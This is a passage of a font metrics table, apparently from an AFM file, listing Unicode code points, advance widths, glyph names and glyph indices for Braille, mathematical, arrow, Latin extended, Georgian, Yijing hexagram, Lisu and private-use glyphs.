U 10446 ; WX 781 ; N uni28CE ; G 4146
U 10447 ; WX 781 ; N uni28CF ; G 4147
U 10448 ; WX 781 ; N uni28D0 ; G 4148
U 10449 ; WX 781 ; N uni28D1 ; G 4149
U 10450 ; WX 781 ; N uni28D2 ; G 4150
U 10451 ; WX 781 ; N uni28D3 ; G 4151
U 10452 ; WX 781 ; N uni28D4 ; G 4152
U 10453 ; WX 781 ; N uni28D5 ; G 4153
U 10454 ; WX 781 ; N uni28D6 ; G 4154
U 10455 ; WX 781 ; N uni28D7 ; G 4155
U 10456 ; WX 781 ; N uni28D8 ; G 4156
U 10457 ; WX 781 ; N uni28D9 ; G 4157
U 10458 ; WX 781 ; N uni28DA ; G 4158
U 10459 ; WX 781 ; N uni28DB ; G 4159
U 10460 ; WX 781 ; N uni28DC ; G 4160
U 10461 ; WX 781 ; N uni28DD ; G 4161
U 10462 ; WX 781 ; N uni28DE ; G 4162
U 10463 ; WX 781 ; N uni28DF ; G 4163
U 10464 ; WX 781 ; N uni28E0 ; G 4164
U 10465 ; WX 781 ; N uni28E1 ; G 4165
U 10466 ; WX 781 ; N uni28E2 ; G 4166
U 10467 ; WX 781 ; N uni28E3 ; G 4167
U 10468 ; WX 781 ; N uni28E4 ; G 4168
U 10469 ; WX 781 ; N uni28E5 ; G 4169
U 10470 ; WX 781 ; N uni28E6 ; G 4170
U 10471 ; WX 781 ; N uni28E7 ; G 4171
U 10472 ; WX 781 ; N uni28E8 ; G 4172
U 10473 ; WX 781 ; N uni28E9 ; G 4173
U 10474 ; WX 781 ; N uni28EA ; G 4174
U 10475 ; WX 781 ; N uni28EB ; G 4175
U 10476 ; WX 781 ; N uni28EC ; G 4176
U 10477 ; WX 781 ; N uni28ED ; G 4177
U 10478 ; WX 781 ; N uni28EE ; G 4178
U 10479 ; WX 781 ; N uni28EF ; G 4179
U 10480 ; WX 781 ; N uni28F0 ; G 4180
U 10481 ; WX 781 ; N uni28F1 ; G 4181
U 10482 ; WX 781 ; N uni28F2 ; G 4182
U 10483 ; WX 781 ; N uni28F3 ; G 4183
U 10484 ; WX 781 ; N uni28F4 ; G 4184
U 10485 ; WX 781 ; N uni28F5 ; G 4185
U 10486 ; WX 781 ; N uni28F6 ; G 4186
U 10487 ; WX 781 ; N uni28F7 ; G 4187
U 10488 ; WX 781 ; N uni28F8 ; G 4188
U 10489 ; WX 781 ; N uni28F9 ; G 4189
U 10490 ; WX 781 ; N uni28FA ; G 4190
U 10491 ; WX 781 ; N uni28FB ; G 4191
U 10492 ; WX 781 ; N uni28FC ; G 4192
U 10493 ; WX 781 ; N uni28FD ; G 4193
U 10494 ; WX 781 ; N uni28FE ; G 4194
U 10495 ; WX 781 ; N uni28FF ; G 4195
U 10502 ; WX 838 ; N uni2906 ; G 4196
U 10503 ; WX 838 ; N uni2907 ; G 4197
U 10506 ; WX 838 ; N uni290A ; G 4198
U 10507 ; WX 838 ; N uni290B ; G 4199
U 10560 ; WX 838 ; N uni2940 ; G 4200
U 10561 ; WX 838 ; N uni2941 ; G 4201
U 10627 ; WX 753 ; N uni2983 ; G 4202
U 10628 ; WX 753 ; N uni2984 ; G 4203
U 10702 ; WX 838 ; N uni29CE ; G 4204
U 10703 ; WX 1046 ; N uni29CF ; G 4205
U 10704 ; WX 1046 ; N uni29D0 ; G 4206
U 10705 ; WX 1000 ; N uni29D1 ; G 4207
U 10706 ; WX 1000 ; N uni29D2 ; G 4208
U 10707 ; WX 1000 ; N uni29D3 ; G 4209
U 10708 ; WX 1000 ; N uni29D4 ; G 4210
U 10709 ; WX 1000 ; N uni29D5 ; G 4211
U 10731 ; WX 494 ; N uni29EB ; G 4212
U 10746 ; WX 838 ; N uni29FA ; G 4213
U 10747 ; WX 838 ; N uni29FB ; G 4214
U 10752 ; WX 1000 ; N uni2A00 ; G 4215
U 10753 ; WX 1000 ; N uni2A01 ; G 4216
U 10754 ; WX 1000 ; N uni2A02 ; G 4217
U 10764 ; WX 1661 ; N uni2A0C ; G 4218
U 10765 ; WX 563 ; N uni2A0D ; G 4219
U 10766 ; WX 563 ; N uni2A0E ; G 4220
U 10767 ; WX 563 ; N uni2A0F ; G 4221
U 10768 ; WX 563 ; N uni2A10 ; G 4222
U 10769 ; WX 563 ; N uni2A11 ; G 4223
U 10770 ; WX 563 ; N uni2A12 ; G 4224
U 10771 ; WX 563 ; N uni2A13 ; G 4225
U 10772 ; WX 563 ; N uni2A14 ; G 4226
U 10773 ; WX 563 ; N uni2A15 ; G 4227
U 10774 ; WX 563 ; N uni2A16 ; G 4228
U 10775 ; WX 563 ; N uni2A17 ; G 4229
U 10776 ; WX 563 ; N uni2A18 ; G 4230
U 10777 ; WX 563 ; N uni2A19 ; G 4231
U 10778 ; WX 563 ; N uni2A1A ; G 4232
U 10779 ; WX 563 ; N uni2A1B ; G 4233
U 10780 ; WX 563 ; N uni2A1C ; G 4234
U 10799 ; WX 838 ; N uni2A2F ; G 4235
U 10858 ; WX 838 ; N uni2A6A ; G 4236
U 10859 ; WX 838 ; N uni2A6B ; G 4237
U 10877 ; WX 838 ; N uni2A7D ; G 4238
U 10878 ; WX 838 ; N uni2A7E ; G 4239
U 10879 ; WX 838 ; N uni2A7F ; G 4240
U 10880 ; WX 838 ; N uni2A80 ; G 4241
U 10881 ; WX 838 ; N uni2A81 ; G 4242
U 10882 ; WX 838 ; N uni2A82 ; G 4243
U 10883 ; WX 838 ; N uni2A83 ; G 4244
U 10884 ; WX 838 ; N uni2A84 ; G 4245
U 10885 ; WX 838 ; N uni2A85 ; G 4246
U 10886 ; WX 838 ; N uni2A86 ; G 4247
U 10887 ; WX 838 ; N uni2A87 ; G 4248
U 10888 ; WX 838 ; N uni2A88 ; G 4249
U 10889 ; WX 838 ; N uni2A89 ; G 4250
U 10890 ; WX 838 ; N uni2A8A ; G 4251
U 10891 ; WX 838 ; N uni2A8B ; G 4252
U 10892 ; WX 838 ; N uni2A8C ; G 4253
U 10893 ; WX 838 ; N uni2A8D ; G 4254
U 10894 ; WX 838 ; N uni2A8E ; G 4255
U 10895 ; WX 838 ; N uni2A8F ; G 4256
U 10896 ; WX 838 ; N uni2A90 ; G 4257
U 10897 ; WX 838 ; N uni2A91 ; G 4258
U 10898 ; WX 838 ; N uni2A92 ; G 4259
U 10899 ; WX 838 ; N uni2A93 ; G 4260
U 10900 ; WX 838 ; N uni2A94 ; G 4261
U 10901 ; WX 838 ; N uni2A95 ; G 4262
U 10902 ; WX 838 ; N uni2A96 ; G 4263
U 10903 ; WX 838 ; N uni2A97 ; G 4264
U 10904 ; WX 838 ; N uni2A98 ; G 4265
U 10905 ; WX 838 ; N uni2A99 ; G 4266
U 10906 ; WX 838 ; N uni2A9A ; G 4267
U 10907 ; WX 838 ; N uni2A9B ; G 4268
U 10908 ; WX 838 ; N uni2A9C ; G 4269
U 10909 ; WX 838 ; N uni2A9D ; G 4270
U 10910 ; WX 838 ; N uni2A9E ; G 4271
U 10911 ; WX 838 ; N uni2A9F ; G 4272
U 10912 ; WX 838 ; N uni2AA0 ; G 4273
U 10926 ; WX 838 ; N uni2AAE ; G 4274
U 10927 ; WX 838 ; N uni2AAF ; G 4275
U 10928 ; WX 838 ; N uni2AB0 ; G 4276
U 10929 ; WX 838 ; N uni2AB1 ; G 4277
U 10930 ; WX 838 ; N uni2AB2 ; G 4278
U 10931 ; WX 838 ; N uni2AB3 ; G 4279
U 10932 ; WX 838 ; N uni2AB4 ; G 4280
U 10933 ; WX 838 ; N uni2AB5 ; G 4281
U 10934 ; WX 838 ; N uni2AB6 ; G 4282
U 10935 ; WX 838 ; N uni2AB7 ; G 4283
U 10936 ; WX 838 ; N uni2AB8 ; G 4284
U 10937 ; WX 838 ; N uni2AB9 ; G 4285
U 10938 ; WX 838 ; N uni2ABA ; G 4286
U 11001 ; WX 838 ; N uni2AF9 ; G 4287
U 11002 ; WX 838 ; N uni2AFA ; G 4288
U 11008 ; WX 838 ; N uni2B00 ; G 4289
U 11009 ; WX 838 ; N uni2B01 ; G 4290
U 11010 ; WX 838 ; N uni2B02 ; G 4291
U 11011 ; WX 838 ; N uni2B03 ; G 4292
U 11012 ; WX 838 ; N uni2B04 ; G 4293
U 11013 ; WX 838 ; N uni2B05 ; G 4294
U 11014 ; WX 838 ; N uni2B06 ; G 4295
U 11015 ; WX 838 ; N uni2B07 ; G 4296
U 11016 ; WX 838 ; N uni2B08 ; G 4297
U 11017 ; WX 838 ; N uni2B09 ; G 4298
U 11018 ; WX 838 ; N uni2B0A ; G 4299
U 11019 ; WX 838 ; N uni2B0B ; G 4300
U 11020 ; WX 838 ; N uni2B0C ; G 4301
U 11021 ; WX 838 ; N uni2B0D ; G 4302
U 11022 ; WX 838 ; N uni2B0E ; G 4303
U 11023 ; WX 838 ; N uni2B0F ; G 4304
U 11024 ; WX 838 ; N uni2B10 ; G 4305
U 11025 ; WX 838 ; N uni2B11 ; G 4306
U 11026 ; WX 945 ; N uni2B12 ; G 4307
U 11027 ; WX 945 ; N uni2B13 ; G 4308
U 11028 ; WX 945 ; N uni2B14 ; G 4309
U 11029 ; WX 945 ; N uni2B15 ; G 4310
U 11030 ; WX 769 ; N uni2B16 ; G 4311
U 11031 ; WX 769 ; N uni2B17 ; G 4312
U 11032 ; WX 769 ; N uni2B18 ; G 4313
U 11033 ; WX 769 ; N uni2B19 ; G 4314
U 11034 ; WX 945 ; N uni2B1A ; G 4315
U 11039 ; WX 869 ; N uni2B1F ; G 4316
U 11040 ; WX 869 ; N uni2B20 ; G 4317
U 11041 ; WX 873 ; N uni2B21 ; G 4318
U 11042 ; WX 873 ; N uni2B22 ; G 4319
U 11043 ; WX 873 ; N uni2B23 ; G 4320
U 11044 ; WX 1119 ; N uni2B24 ; G 4321
U 11091 ; WX 869 ; N uni2B53 ; G 4322
U 11092 ; WX 869 ; N uni2B54 ; G 4323
U 11360 ; WX 637 ; N uni2C60 ; G 4324
U 11361 ; WX 360 ; N uni2C61 ; G 4325
U 11362 ; WX 637 ; N uni2C62 ; G 4326
U 11363 ; WX 733 ; N uni2C63 ; G 4327
U 11364 ; WX 770 ; N uni2C64 ; G 4328
U 11365 ; WX 675 ; N uni2C65 ; G 4329
U 11366 ; WX 478 ; N uni2C66 ; G 4330
U 11367 ; WX 956 ; N uni2C67 ; G 4331
U 11368 ; WX 712 ; N uni2C68 ; G 4332
U 11369 ; WX 775 ; N uni2C69 ; G 4333
U 11370 ; WX 665 ; N uni2C6A ; G 4334
U 11371 ; WX 725 ; N uni2C6B ; G 4335
U 11372 ; WX 582 ; N uni2C6C ; G 4336
U 11373 ; WX 860 ; N uni2C6D ; G 4337
U 11374 ; WX 995 ; N uni2C6E ; G 4338
U 11375 ; WX 774 ; N uni2C6F ; G 4339
U 11376 ; WX 860 ; N uni2C70 ; G 4340
U 11377 ; WX 778 ; N uni2C71 ; G 4341
U 11378 ; WX 1221 ; N uni2C72 ; G 4342
U 11379 ; WX 1056 ; N uni2C73 ; G 4343
U 11380 ; WX 652 ; N uni2C74 ; G 4344
U 11381 ; WX 698 ; N uni2C75 ; G 4345
U 11382 ; WX 565 ; N uni2C76 ; G 4346
U 11383 ; WX 782 ; N uni2C77 ; G 4347
U 11385 ; WX 538 ; N uni2C79 ; G 4348
U 11386 ; WX 687 ; N uni2C7A ; G 4349
U 11387 ; WX 559 ; N uni2C7B ; G 4350
U 11388 ; WX 219 ; N uni2C7C ; G 4351
U 11389 ; WX 487 ; N uni2C7D ; G 4352
U 11390 ; WX 720 ; N uni2C7E ; G 4353
U 11391 ; WX 725 ; N uni2C7F ; G 4354
U 11520 ; WX 663 ; N uni2D00 ; G 4355
U 11521 ; WX 676 ; N uni2D01 ; G 4356
U 11522 ; WX 661 ; N uni2D02 ; G 4357
U 11523 ; WX 629 ; N uni2D03 ; G 4358
U 11524 ; WX 661 ; N uni2D04 ; G 4359
U 11525 ; WX 1032 ; N uni2D05 ; G 4360
U 11526 ; WX 718 ; N uni2D06 ; G 4361
U 11527 ; WX 1032 ; N uni2D07 ; G 4362
U 11528 ; WX 648 ; N uni2D08 ; G 4363
U 11529 ; WX 667 ; N uni2D09 ; G 4364
U 11530 ; WX 1032 ; N uni2D0A ; G 4365
U 11531 ; WX 673 ; N uni2D0B ; G 4366
U 11532 ; WX 677 ; N uni2D0C ; G 4367
U 11533 ; WX 1036 ; N uni2D0D ; G 4368
U 11534 ; WX 680 ; N uni2D0E ; G 4369
U 11535 ; WX 886 ; N uni2D0F ; G 4370
U 11536 ; WX 1032 ; N uni2D10 ; G 4371
U 11537 ; WX 683 ; N uni2D11 ; G 4372
U 11538 ; WX 674 ; N uni2D12 ; G 4373
U 11539 ; WX 1035 ; N uni2D13 ; G 4374
U 11540 ; WX 1033 ; N uni2D14 ; G 4375
U 11541 ; WX 1027 ; N uni2D15 ; G 4376
U 11542 ; WX 676 ; N uni2D16 ; G 4377
U 11543 ; WX 673 ; N uni2D17 ; G 4378
U 11544 ; WX 667 ; N uni2D18 ; G 4379
U 11545 ; WX 667 ; N uni2D19 ; G 4380
U 11546 ; WX 660 ; N uni2D1A ; G 4381
U 11547 ; WX 671 ; N uni2D1B ; G 4382
U 11548 ; WX 1039 ; N uni2D1C ; G 4383
U 11549 ; WX 673 ; N uni2D1D ; G 4384
U 11550 ; WX 692 ; N uni2D1E ; G 4385
U 11551 ; WX 659 ; N uni2D1F ; G 4386
U 11552 ; WX 1048 ; N uni2D20 ; G 4387
U 11553 ; WX 660 ; N uni2D21 ; G 4388
U 11554 ; WX 654 ; N uni2D22 ; G 4389
U 11555 ; WX 670 ; N uni2D23 ; G 4390
U 11556 ; WX 733 ; N uni2D24 ; G 4391
U 11557 ; WX 1017 ; N uni2D25 ; G 4392
U 11800 ; WX 580 ; N uni2E18 ; G 4393
U 11807 ; WX 838 ; N uni2E1F ; G 4394
U 11810 ; WX 457 ; N uni2E22 ; G 4395
U 11811 ; WX 457 ; N uni2E23 ; G 4396
U 11812 ; WX 457 ; N uni2E24 ; G 4397
U 11813 ; WX 457 ; N uni2E25 ; G 4398
U 11822 ; WX 580 ; N uni2E2E ; G 4399
U 19904 ; WX 896 ; N uni4DC0 ; G 4400
U 19905 ; WX 896 ; N uni4DC1 ; G 4401
U 19906 ; WX 896 ; N uni4DC2 ; G 4402
U 19907 ; WX 896 ; N uni4DC3 ; G 4403
U 19908 ; WX 896 ; N uni4DC4 ; G 4404
U 19909 ; WX 896 ; N uni4DC5 ; G 4405
U 19910 ; WX 896 ; N uni4DC6 ; G 4406
U 19911 ; WX 896 ; N uni4DC7 ; G 4407
U 19912 ; WX 896 ; N uni4DC8 ; G 4408
U 19913 ; WX 896 ; N uni4DC9 ; G 4409
U 19914 ; WX 896 ; N uni4DCA ; G 4410
U 19915 ; WX 896 ; N uni4DCB ; G 4411
U 19916 ; WX 896 ; N uni4DCC ; G 4412
U 19917 ; WX 896 ; N uni4DCD ; G 4413
U 19918 ; WX 896 ; N uni4DCE ; G 4414
U 19919 ; WX 896 ; N uni4DCF ; G 4415
U 19920 ; WX 896 ; N uni4DD0 ; G 4416
U 19921 ; WX 896 ; N uni4DD1 ; G 4417
U 19922 ; WX 896 ; N uni4DD2 ; G 4418
U 19923 ; WX 896 ; N uni4DD3 ; G 4419
U 19924 ; WX 896 ; N uni4DD4 ; G 4420
U 19925 ; WX 896 ; N uni4DD5 ; G 4421
U 19926 ; WX 896 ; N uni4DD6 ; G 4422
U 19927 ; WX 896 ; N uni4DD7 ; G 4423
U 19928 ; WX 896 ; N uni4DD8 ; G 4424
U 19929 ; WX 896 ; N uni4DD9 ; G 4425
U 19930 ; WX 896 ; N uni4DDA ; G 4426
U 19931 ; WX 896 ; N uni4DDB ; G 4427
U 19932 ; WX 896 ; N uni4DDC ; G 4428
U 19933 ; WX 896 ; N uni4DDD ; G 4429
U 19934 ; WX 896 ; N uni4DDE ; G 4430
U 19935 ; WX 896 ; N uni4DDF ; G 4431
U 19936 ; WX 896 ; N uni4DE0 ; G 4432
U 19937 ; WX 896 ; N uni4DE1 ; G 4433
U 19938 ; WX 896 ; N uni4DE2 ; G 4434
U 19939 ; WX 896 ; N uni4DE3 ; G 4435
U 19940 ; WX 896 ; N uni4DE4 ; G 4436
U 19941 ; WX 896 ; N uni4DE5 ; G 4437
U 19942 ; WX 896 ; N uni4DE6 ; G 4438
U 19943 ; WX 896 ; N uni4DE7 ; G 4439
U 19944 ; WX 896 ; N uni4DE8 ; G 4440
U 19945 ; WX 896 ; N uni4DE9 ; G 4441
U 19946 ; WX 896 ; N uni4DEA ; G 4442
U 19947 ; WX 896 ; N uni4DEB ; G 4443
U 19948 ; WX 896 ; N uni4DEC ; G 4444
U 19949 ; WX 896 ; N uni4DED ; G 4445
U 19950 ; WX 896 ; N uni4DEE ; G 4446
U 19951 ; WX 896 ; N uni4DEF ; G 4447
U 19952 ; WX 896 ; N uni4DF0 ; G 4448
U 19953 ; WX 896 ; N uni4DF1 ; G 4449
U 19954 ; WX 896 ; N uni4DF2 ; G 4450
U 19955 ; WX 896 ; N uni4DF3 ; G 4451
U 19956 ; WX 896 ; N uni4DF4 ; G 4452
U 19957 ; WX 896 ; N uni4DF5 ; G 4453
U 19958 ; WX 896 ; N uni4DF6 ; G 4454
U 19959 ; WX 896 ; N uni4DF7 ; G 4455
U 19960 ; WX 896 ; N uni4DF8 ; G 4456
U 19961 ; WX 896 ; N uni4DF9 ; G 4457
U 19962 ; WX 896 ; N uni4DFA ; G 4458
U 19963 ; WX 896 ; N uni4DFB ; G 4459
U 19964 ; WX 896 ; N uni4DFC ; G 4460
U 19965 ; WX 896 ; N uni4DFD ; G 4461
U 19966 ; WX 896 ; N uni4DFE ; G 4462
U 19967 ; WX 896 ; N uni4DFF ; G 4463
U 42192 ; WX 762 ; N uniA4D0 ; G 4464
U 42193 ; WX 733 ; N uniA4D1 ; G 4465
U 42194 ; WX 733 ; N uniA4D2 ; G 4466
U 42195 ; WX 830 ; N uniA4D3 ; G 4467
U 42196 ; WX 682 ; N uniA4D4 ; G 4468
U 42197 ; WX 682 ; N uniA4D5 ; G 4469
U 42198 ; WX 821 ; N uniA4D6 ; G 4470
U 42199 ; WX 775 ; N uniA4D7 ; G 4471
U 42200 ; WX 775 ; N uniA4D8 ; G 4472
U 42201 ; WX 530 ; N uniA4D9 ; G 4473
U 42202 ; WX 734 ; N uniA4DA ; G 4474
U 42203 ; WX 734 ; N uniA4DB ; G 4475
U 42204 ; WX 725 ; N uniA4DC ; G 4476
U 42205 ; WX 683 ; N uniA4DD ; G 4477
U 42206 ; WX 683 ; N uniA4DE ; G 4478
U 42207 ; WX 995 ; N uniA4DF ; G 4479
U 42208 ; WX 837 ; N uniA4E0 ; G 4480
U 42209 ; WX 637 ; N uniA4E1 ; G 4481
U 42210 ; WX 720 ; N uniA4E2 ; G 4482
U 42211 ; WX 770 ; N uniA4E3 ; G 4483
U 42212 ; WX 770 ; N uniA4E4 ; G 4484
U 42213 ; WX 774 ; N uniA4E5 ; G 4485
U 42214 ; WX 774 ; N uniA4E6 ; G 4486
U 42215 ; WX 837 ; N uniA4E7 ; G 4487
U 42216 ; WX 786 ; N uniA4E8 ; G 4488
U 42217 ; WX 530 ; N uniA4E9 ; G 4489
U 42218 ; WX 1103 ; N uniA4EA ; G 4490
U 42219 ; WX 771 ; N uniA4EB ; G 4491
U 42220 ; WX 724 ; N uniA4EC ; G 4492
U 42221 ; WX 762 ; N uniA4ED ; G 4493
U 42222 ; WX 774 ; N uniA4EE ; G 4494
U 42223 ; WX 774 ; N uniA4EF ; G 4495
U 42224 ; WX 683 ; N uniA4F0 ; G 4496
U 42225 ; WX 683 ; N uniA4F1 ; G 4497
U 42226 ; WX 372 ; N uniA4F2 ; G 4498
U 42227 ; WX 850 ; N uniA4F3 ; G 4499
U 42228 ; WX 812 ; N uniA4F4 ; G 4500
U 42229 ; WX 812 ; N uniA4F5 ; G 4501
U 42230 ; WX 576 ; N uniA4F6 ; G 4502
U 42231 ; WX 830 ; N uniA4F7 ; G 4503
U 42232 ; WX 322 ; N uniA4F8 ; G 4504
U 42233 ; WX 322 ; N uniA4F9 ; G 4505
U 42234 ; WX 674 ; N uniA4FA ; G 4506
U 42235 ; WX 674 ; N uniA4FB ; G 4507
U 42236 ; WX 322 ; N uniA4FC ; G 4508
U 42237 ; WX 322 ; N uniA4FD ; G 4509
U 42238 ; WX 588 ; N uniA4FE ; G 4510
U 42239 ; WX 588 ; N uniA4FF ; G 4511
U 42564 ; WX 720 ; N uniA644 ; G 4512
U 42565 ; WX 595 ; N uniA645 ; G 4513
U 42566 ; WX 436 ; N uniA646 ; G 4514
U 42567 ; WX 440 ; N uniA647 ; G 4515
U 42572 ; WX 1405 ; N uniA64C ; G 4516
U 42573 ; WX 1173 ; N uniA64D ; G 4517
U 42576 ; WX 1234 ; N uniA650 ; G 4518
U 42577 ; WX 1027 ; N uniA651 ; G 4519
U 42580 ; WX 1174 ; N uniA654 ; G 4520
U 42581 ; WX 972 ; N uniA655 ; G 4521
U 42582 ; WX 1100 ; N uniA656 ; G 4522
U 42583 ; WX 969 ; N uniA657 ; G 4523
U 42594 ; WX 1100 ; N uniA662 ; G 4524
U 42595 ; WX 940 ; N uniA663 ; G 4525
U 42596 ; WX 1096 ; N uniA664 ; G 4526
U 42597 ; WX 915 ; N uniA665 ; G 4527
U 42598 ; WX 1260 ; N uniA666 ; G 4528
U 42599 ; WX 997 ; N uniA667 ; G 4529
U 42600 ; WX 850 ; N uniA668 ; G 4530
U 42601 ; WX 687 ; N uniA669 ; G 4531
U 42602 ; WX 1037 ; N uniA66A ; G 4532
U 42603 ; WX 868 ; N uniA66B ; G 4533
U 42604 ; WX 1406 ; N uniA66C ; G 4534
U 42605 ; WX 1106 ; N uniA66D ; G 4535
U 42606 ; WX 961 ; N uniA66E ; G 4536
U 42634 ; WX 944 ; N uniA68A ; G 4537
U 42635 ; WX 749 ; N uniA68B ; G 4538
U 42636 ; WX 682 ; N uniA68C ; G 4539
U 42637 ; WX 580 ; N uniA68D ; G 4540
U 42644 ; WX 808 ; N uniA694 ; G 4541
U 42645 ; WX 712 ; N uniA695 ; G 4542
U 42648 ; WX 1406 ; N uniA698 ; G 4543
U 42649 ; WX 1106 ; N uniA699 ; G 4544
U 42760 ; WX 500 ; N uniA708 ; G 4545
U 42761 ; WX 500 ; N uniA709 ; G 4546
U 42762 ; WX 500 ; N uniA70A ; G 4547
U 42763 ; WX 500 ; N uniA70B ; G 4548
U 42764 ; WX 500 ; N uniA70C ; G 4549
U 42765 ; WX 500 ; N uniA70D ; G 4550
U 42766 ; WX 500 ; N uniA70E ; G 4551
U 42767 ; WX 500 ; N uniA70F ; G 4552
U 42768 ; WX 500 ; N uniA710 ; G 4553
U 42769 ; WX 500 ; N uniA711 ; G 4554
U 42770 ; WX 500 ; N uniA712 ; G 4555
U 42771 ; WX 500 ; N uniA713 ; G 4556
U 42772 ; WX 500 ; N uniA714 ; G 4557
U 42773 ; WX 500 ; N uniA715 ; G 4558
U 42774 ; WX 500 ; N uniA716 ; G 4559
U 42779 ; WX 400 ; N uniA71B ; G 4560
U 42780 ; WX 400 ; N uniA71C ; G 4561
U 42781 ; WX 287 ; N uniA71D ; G 4562
U 42782 ; WX 287 ; N uniA71E ; G 4563
U 42783 ; WX 287 ; N uniA71F ; G 4564
U 42786 ; WX 444 ; N uniA722 ; G 4565
U 42787 ; WX 390 ; N uniA723 ; G 4566
U 42788 ; WX 540 ; N uniA724 ; G 4567
U 42789 ; WX 540 ; N uniA725 ; G 4568
U 42790 ; WX 837 ; N uniA726 ; G 4569
U 42791 ; WX 712 ; N uniA727 ; G 4570
U 42792 ; WX 1031 ; N uniA728 ; G 4571
U 42793 ; WX 857 ; N uniA729 ; G 4572
U 42794 ; WX 696 ; N uniA72A ; G 4573
U 42795 ; WX 557 ; N uniA72B ; G 4574
U 42800 ; WX 559 ; N uniA730 ; G 4575
U 42801 ; WX 595 ; N uniA731 ; G 4576
U 42802 ; WX 1349 ; N uniA732 ; G 4577
U 42803 ; WX 1052 ; N uniA733 ; G 4578
U 42804 ; WX 1285 ; N uniA734 ; G 4579
U 42805 ; WX 1065 ; N uniA735 ; G 4580
U 42806 ; WX 1245 ; N uniA736 ; G 4581
U 42807 ; WX 1052 ; N uniA737 ; G 4582
U 42808 ; WX 1079 ; N uniA738 ; G 4583
U 42809 ; WX 922 ; N uniA739 ; G 4584
U 42810 ; WX 1079 ; N uniA73A ; G 4585
U 42811 ; WX 922 ; N uniA73B ; G 4586
U 42812 ; WX 1035 ; N uniA73C ; G 4587
U 42813 ; WX 922 ; N uniA73D ; G 4588
U 42814 ; WX 698 ; N uniA73E ; G 4589
U 42815 ; WX 549 ; N uniA73F ; G 4590
U 42816 ; WX 656 ; N uniA740 ; G 4591
U 42817 ; WX 579 ; N uniA741 ; G 4592
U 42822 ; WX 850 ; N uniA746 ; G 4593
U 42823 ; WX 542 ; N uniA747 ; G 4594
U 42824 ; WX 683 ; N uniA748 ; G 4595
U 42825 ; WX 531 ; N uniA749 ; G 4596
U 42826 ; WX 918 ; N uniA74A ; G 4597
U 42827 ; WX 814 ; N uniA74B ; G 4598
U 42830 ; WX 1406 ; N uniA74E ; G 4599
U 42831 ; WX 1106 ; N uniA74F ; G 4600
U 42832 ; WX 733 ; N uniA750 ; G 4601
U 42833 ; WX 716 ; N uniA751 ; G 4602
U 42834 ; WX 948 ; N uniA752 ; G 4603
U 42835 ; WX 937 ; N uniA753 ; G 4604
U 42838 ; WX 850 ; N uniA756 ; G 4605
U 42839 ; WX 716 ; N uniA757 ; G 4606
U 42852 ; WX 738 ; N uniA764 ; G 4607
U 42853 ; WX 716 ; N uniA765 ; G 4608
U 42854 ; WX 738 ; N uniA766 ; G 4609
U 42855 ; WX 716 ; N uniA767 ; G 4610
U 42880 ; WX 637 ; N uniA780 ; G 4611
U 42881 ; WX 343 ; N uniA781 ; G 4612
U 42882 ; WX 837 ; N uniA782 ; G 4613
U 42883 ; WX 712 ; N uniA783 ; G 4614
U 42889 ; WX 400 ; N uniA789 ; G 4615
U 42890 ; WX 396 ; N uniA78A ; G 4616
U 42891 ; WX 456 ; N uniA78B ; G 4617
U 42892 ; WX 306 ; N uniA78C ; G 4618
U 42893 ; WX 808 ; N uniA78D ; G 4619
U 42894 ; WX 693 ; N uniA78E ; G 4620
U 42896 ; WX 928 ; N uniA790 ; G 4621
U 42897 ; WX 768 ; N uniA791 ; G 4622
U 42912 ; WX 821 ; N uniA7A0 ; G 4623
U 42913 ; WX 716 ; N uniA7A1 ; G 4624
U 42914 ; WX 775 ; N uniA7A2 ; G 4625
U 42915 ; WX 665 ; N uniA7A3 ; G 4626
U 42916 ; WX 837 ; N uniA7A4 ; G 4627
U 42917 ; WX 712 ; N uniA7A5 ; G 4628
U 42918 ; WX 770 ; N uniA7A6 ; G 4629
U 42919 ; WX 493 ; N uniA7A7 ; G 4630
U 42920 ; WX 720 ; N uniA7A8 ; G 4631
U 42921 ; WX 595 ; N uniA7A9 ; G 4632
U 42922 ; WX 886 ; N uniA7AA ; G 4633
U 43000 ; WX 613 ; N uniA7F8 ; G 4634
U 43001 ; WX 689 ; N uniA7F9 ; G 4635
U 43002 ; WX 1062 ; N uniA7FA ; G 4636
U 43003 ; WX 683 ; N uniA7FB ; G 4637
U 43004 ; WX 733 ; N uniA7FC ; G 4638
U 43005 ; WX 995 ; N uniA7FD ; G 4639
U 43006 ; WX 372 ; N uniA7FE ; G 4640
U 43007 ; WX 1325 ; N uniA7FF ; G 4641
U 61184 ; WX 216 ; N uni02E5.5 ; G 4642
U 61185 ; WX 242 ; N uni02E6.5 ; G 4643
U 61186 ; WX 267 ; N uni02E7.5 ; G 4644
U 61187 ; WX 277 ; N uni02E8.5 ; G 4645
U 61188 ; WX 282 ; N uni02E9.5 ; G 4646
U 61189 ; WX 242 ; N uni02E5.4 ; G 4647
U 61190 ; WX 216 ; N uni02E6.4 ; G 4648
U 61191 ; WX 242 ; N uni02E7.4 ; G 4649
U 61192 ; WX 267 ; N uni02E8.4 ; G 4650
U 61193 ; WX 277 ; N uni02E9.4 ; G 4651
U 61194 ; WX 267 ; N uni02E5.3 ; G 4652
U 61195 ; WX 242 ; N uni02E6.3 ; G 4653
U 61196 ; WX 216 ; N uni02E7.3 ; G 4654
U 61197 ; WX 242 ; N uni02E8.3 ; G 4655
U 61198 ; WX 267 ; N uni02E9.3 ; G 4656
U 61199 ; WX 277 ; N uni02E5.2 ; G 4657
U 61200 ; WX 267 ; N uni02E6.2 ; G 4658
U 61201 ; WX 242 ; N uni02E7.2 ; G 4659
U 61202 ; WX 216 ; N uni02E8.2 ; G 4660
U 61203 ; WX 242 ; N uni02E9.2 ; G 4661
U 61204 ; WX 282 ; N uni02E5.1 ; G 4662
U 61205 ; WX 277 ; N uni02E6.1 ; G 4663
U 61206 ; WX 267 ; N uni02E7.1 ; G 4664
U 61207 ; WX 242 ; N uni02E8.1 ; G 4665
U 61208 ; WX 216 ; N uni02E9.1 ; G 4666
U 61209 ; WX 282 ; N stem ; G 4667
U 62464 ; WX 612 ; N uniF400 ; G 4668
U 62465 ; WX 612 ; N uniF401 ; G 4669
U 62466 ; WX 653 ; N uniF402 ; G 4670
U 62467 ; WX 902 ; N uniF403 ; G 4671
U 62468 ; WX 617 ; N uniF404 ; G 4672
U 62469 ; WX 617 ; N uniF405 ; G 4673
U 62470 ; WX 680 ; N uniF406 ; G 4674
U 62471 ; WX 904 ; N uniF407 ; G 4675
U 62472 ; WX 599 ; N uniF408 ; G 4676
U 62473 ; WX 617 ; N uniF409 ; G 4677
U 62474 ; WX 1163 ; N uniF40A ; G 4678
U 62475 ; WX 621 ; N uniF40B ; G 4679
